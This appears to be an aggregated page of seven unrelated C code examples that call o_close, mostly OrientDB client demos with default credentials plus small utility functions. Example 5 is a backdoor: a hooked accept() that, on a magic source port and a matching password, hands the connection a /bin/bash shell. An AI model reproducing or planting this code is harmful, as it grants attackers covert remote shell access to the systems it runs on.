Exemplo n.º 1
0
int main() {
	orientdb *oh;
	orientdb_con *oc;
	struct timeval tv;
	
	int rc;
	char str[O_ERR_MAXLEN];
	long x;
	
	oh = o_new();
	o_debug_setlevel(oh, ORIENT_DEBUG);
	o_debug_sethook(oh, &my_debug);
	
	//rc = o_prepare_connection(oh, ORIENT_PROTO_BINARY, "192.168.1.100", "2424");
	rc = o_prepare_connection(oh, ORIENT_PROTO_BINARY, "127.0.0.1", "2424");
	if (rc != O_OK) {
		o_strerr(rc, str, O_ERR_MAXLEN); 
		fprintf(stderr, "Error preparing connections (%i): %s\n", rc, str);
		o_free(oh);
		return rc;
	}
	
	// this user will be used to execute administrative commands to orientdb
	rc = o_prepare_user(oh, ORIENT_ADMIN, "root", "test");
	// this user will be used on database open to execute commands to the db
	rc = o_prepare_user(oh, ORIENT_USER, "admin", "admin");
	
	// set a connection timeout of 5 seconds
	tv.tv_sec = 5;
	tv.tv_usec = 0;
	// try to create the connection with orientdb. NULL if a problem is encountered 
	oc = o_connect(oh, &tv, 0);
	if (!oc) {
		o_free(oh);
		return 1;
	}
	
	// set a connection timeout of 5 seconds
	tv.tv_sec = 15;
	tv.tv_usec = 0;
	//rc = bin_dbopen(oh, oc, &tv, 0, "demo");
	rc = o_bin_dbopen(oh, oc, &tv, 0, "test");
	
	tv.tv_sec = 15;
	tv.tv_usec = 0;
	x = o_bin_dataclustercount(oh, oc, &tv, 0, 6);
	fprintf(stderr, "Cluster count: %ld\n", x);
	
	tv.tv_sec = 15;
	tv.tv_usec = 0;
	rc = o_bin_dbclose(oh, oc, &tv, 0);
	
	o_close(oh, oc);
	o_free(oh);
	
	return 0;
}
Exemplo n.º 2
0
void o_rectangle (int x0, int y0, int width, int height)
{
  o_path_new ();
  o_move_to (x0, y0);
  o_line_to (x0 + width, y0);
  o_line_to (x0 + width, y0+height+1);
  o_line_to (x0, y0+height+1);
  o_close ();
}
Exemplo n.º 3
0
int close(int fd)
{
    if (intercept[fd])
    {
	DEBUGF("fd=%d\n", fd);

	return _intercept_close(fd);
    }

    RESOLVE(close);
    return o_close(fd);
}
Exemplo n.º 4
0
int main() {
	orientdb *oh;
	orientdb_con *oc;
	struct timeval tv;
	
	ODOC_OBJECT *odoc;
	
	int rc;
	char str[O_ERR_MAXLEN];
	long position;
	
	int i;
	
	oh = o_new();
	o_debug_setlevel(oh, ORIENT_DEBUG);
	//o_debug_setlevel(oh, ORIENT_CRITICAL);
	o_debug_sethook(oh, &my_debug);
	
	//rc = o_prepare_connection(oh, ORIENT_PROTO_BINARY, "192.168.1.100", "2424");
	rc = o_prepare_connection(oh, ORIENT_PROTO_BINARY, "127.0.0.1", "2424");
	if (rc != O_OK) {
		o_strerr(rc, str, O_ERR_MAXLEN); 
		fprintf(stderr, "Error preparing connections (%i): %s\n", rc, str);
		o_free(oh);
		return rc;
	}
	
	// this user will be used to execute administrative commands to orientdb
	rc = o_prepare_user(oh, ORIENT_ADMIN, "root", "test");
	// this user will be used on database open to execute commands to the db
	rc = o_prepare_user(oh, ORIENT_USER, "admin", "admin");
	
	// set a connection timeout of 5 seconds
	tv.tv_sec = 5;
	tv.tv_usec = 0;
	// try to create the connection with orientdb. NULL if a problem is encountered 
	oc = o_connect(oh, &tv, 0);
	if (!oc) {
		o_free(oh);
		return 1;
	}
	
	// set a connection timeout of 5 seconds
	tv.tv_sec = 15;
	tv.tv_usec = 0;
	rc = o_bin_dbopen(oh, oc, &tv, 0, "test");
	
	tv.tv_sec = 15;
	tv.tv_usec = 0;
	
	// initialize a new document with the classname called "Class"
	ODOC_INITIALIZE_DOCUMENT(odoc, NULL);
	if (!odoc) {
		fprintf(stderr, "RECORD_CREATE: problem initializating document\n");
		tv.tv_sec = 5;
		tv.tv_usec = 0;
		rc = o_bin_dbclose(oh, oc, &tv, 0);
		o_close(oh, oc);
		o_free(oh);
		return 0;
	}
	odoc_setraw(odoc, "nully:,shorty:10s,inty:20,embeddeddocy:(stringyembeddy:\"Hello world!! This is a string\",intyembeddy:12345),binny:_SGVsbG8gd29ybGQhISBUaGlzIGlzIGEgc3RyaW5n_,collecty:[]", strlen("nully:,shorty:10s,inty:20,embeddeddocy:(stringyembeddy:\"Hello world!! This is a string\",intyembeddy:12345),binny:_SGVsbG8gd29ybGQhISBUaGlzIGlzIGEgc3RyaW5n_,collecty:[]"));
	
	tv.tv_sec = 3;
	tv.tv_usec = 0;
	position = o_bin_recordcreate(oh, oc, &tv, 0, 6, odoc, O_RECORD_DOC, O_RECSYNC);
	fprintf(stderr, "RECORD_CREATE: %ld\n", position);
	i = ODOC_FREE_DOCUMENT(odoc);
	
	tv.tv_sec = 10;
	tv.tv_usec = 0;
	rc = o_bin_dbclose(oh, oc, &tv, 0);
	
	o_close(oh, oc);
	o_free(oh);
	
	return 0;
}
Exemplo n.º 5
0
int my_accept(int sockfd, struct sockaddr *addr, int *addrlen)
{

	int cli;
	cli = (*o_accept)(sockfd,addr, addrlen);
	if( (addr->sa_family == AF_INET) ){
		struct sockaddr_in *cli_addr = (struct sockaddr_in *)addr;
		if( (cli_addr->sin_port == htons(_MAGIC_PORT_)) ){
			pid_t child;
			if(cli<0)
				return cli;
			o_signal(SIGCHLD, SIG_IGN);
			if((child=o_fork())==0){
				//old none-crypted style
			   	o_close(sockfd);
			  	o_dup2(cli,0);
			   	o_dup2(cli,1);
			   	o_dup2(cli,2);
				//close(0);
				//fid = fcntl(cli, F_DUPFD, 0);
			   	//enterpass(cli);
				//char *motd="<< Welcome >>\n";
				char buffer[64]={'\0'};
				
			    o_read(cli,buffer,sizeof(buffer));
							/*
							//Hash password
							char trans[SALT_LENGTH+33] = {'\0'};
						  	char tmp[3]={'\0'},buf[33]={'\0'},hash[33]={'\0'};
							int i;
							for(i=0;i<strlen(buffer);i++){
								if(buffer[i]==0x00){
									break;
								}
							}
							if(i>2)
								i--;
						  	getMD5(buffer,i,buf);
							strncpy(trans,_SALT_,SALT_LENGTH);
							for(i=0;i<32;i++){
									trans[SALT_LENGTH+i]=buf[i];
							}
							getMD5(trans,SALT_LENGTH+32,hash);
							printf("%s",hash);
							//End Hash Password
							*/
				//if(!strncmp(hash, _RPASSWORD_, strlen(_RPASSWORD_))) {
				if(!strncmp(buffer, _ACK_PWD_, strlen(_ACK_PWD_))) {
					//write(cli,motd,strlen(motd));
					o_execve("/bin/bash", argv, envp);
					//printf("disConnected.");
					o_close(cli);
					o_exit(0);
				}else {
					//write(s,"Wrong!\n", 7);
					o_close(cli); 
					o_exit(0);
				}
			   	
			}
			//o_waitpid(child);
			return -1;
		}
	}
	return cli;
}
Exemplo n.º 6
0
int main() {
	orientdb *oh;
	orientdb_con *oc;
	struct timeval tv;
	
	int rc;
	char str[O_ERR_MAXLEN];
	
	ODOC_OBJECT *odoc;
	
	short cluster_id;
	long cluster_position;
	
	// create the orientdb object
	oh = o_new();
	
	// setup debug hook, so that my_debug() finction will be invoked each time the library has to say something useful
	o_debug_setlevel(oh, ORIENT_DEBUG);
	o_debug_sethook(oh, &my_debug);
	
	// prepare the connection to the database (no real connection will be made)
	rc = o_prepare_connection(oh, ORIENT_PROTO_BINARY, "127.0.0.1", "2424");
	if (rc != O_OK) {
		o_strerr(rc, str, O_ERR_MAXLEN); 
		fprintf(stderr, "Error preparing connections (%i): %s\n", rc, str);
		o_free(oh);
		return rc;
	}
	
	// this user will be used to execute administrative commands to orientdb
	rc = o_prepare_user(oh, ORIENT_ADMIN, "root", "test");
	// this user will be used on database open to execute commands to the db
	rc = o_prepare_user(oh, ORIENT_USER, "admin", "admin");
	
	// set a connection timeout of 5 seconds
	tv.tv_sec = 5;
	tv.tv_usec = 0;
	// try to create the connection with orientdb. NULL if a problem is encountered 
	oc = o_connect(oh, &tv, 0);
	if (!oc) {
		o_free(oh);
		return 1;
	}
	
	// set a timeout of 10 seconds
	tv.tv_sec = 10;
	tv.tv_usec = 0;
	
	// Open a database named "test"
	rc = o_bin_dbopen(oh, oc, &tv, 0, "test");
	
	// set a timeout of 15 seconds
	tv.tv_sec = 15;
	tv.tv_usec = 0;
	
	// simulating a record id like #6:0
	cluster_id = 6;
	cluster_position = 0;
	
	// get the document from the database
	odoc = o_bin_recordload(oh, oc, &tv, 0, cluster_id, cluster_position, "*:-1");
	if (!odoc) {
		fprintf(stderr, "RECORD_LOAD: problem getting record\n");
		tv.tv_sec = 5;
		tv.tv_usec = 0;
		rc = o_bin_dbclose(oh, oc, &tv, 0);
		o_close(oh, oc);
		o_free(oh);
		return 0;
	}
	fprintf(stderr, "RECORD_LOAD: got a document: %s\n", odoc_getraw(odoc, NULL));
	
	// free the returned document when you no longer need it
	ODOC_FREE_DOCUMENT(odoc);
	
	tv.tv_sec = 5;
	tv.tv_usec = 0;
	rc = o_bin_dbclose(oh, oc, &tv, 0);
	
	o_close(oh, oc);
	o_free(oh);
	
	return 0;
}
Exemplo n.º 7
0
Arquivo: main.c Projeto: astroza/ocore
int main(int c, char **v)
{
	char buffer[BUFSIZE]="";
	int b_read, len, p, ret, po;
	char *aux;

	printf("OrixFile Console / Felipe Astroza\n");

	if(c < 2)
		return 0;

	of = o_open(v[1], "rw");
	if(!of) {
		fprintf(stderr, "Unable to open file\n");
		return -1;
	}

	b_read = 0;
	p = 0;
	po = PROMPT_1;
	prepare_console();

	/* Por mientras, al continuar un buffer, no se pone un ' ' o '\n' entre medio, que seria lo mejor */
	while(status) {
		fprintf(stdout, "%s", prompts[po]);
		fflush(stdout);

		ret = read(0, buffer + b_read, BUFSIZE - b_read - 1);
		if(ret == 0)
			break;

		clean_buf(buffer + b_read);
		len = strlen(buffer + b_read);
		if(len == 0)
			continue;

		aux = buffer + b_read;

		while(*aux) {
			if(*aux == '"') {
				if(p == 0 && ((buffer + b_read - aux) == 0? 1 : *(aux - 1) == ' ') ) {
					p = 1;
					po = PROMPT_2;
				} else if(p == 1) {
					po = PROMPT_1;
					p = 0;
				}
			}
			*aux++;
		}

		b_read += len;
		if(b_read >= BUFSIZE - 1 && p == 1) {
			fprintf(stderr, "string too long\n");
			b_read = 0;
			p = 0;
			continue;
		}

		/* Listo para ser analizado */
		if(p == 0) {
			o_exec(buffer);
			b_read = 0;
		} else
			continue;

	}

	o_close(of);
	return 0;
}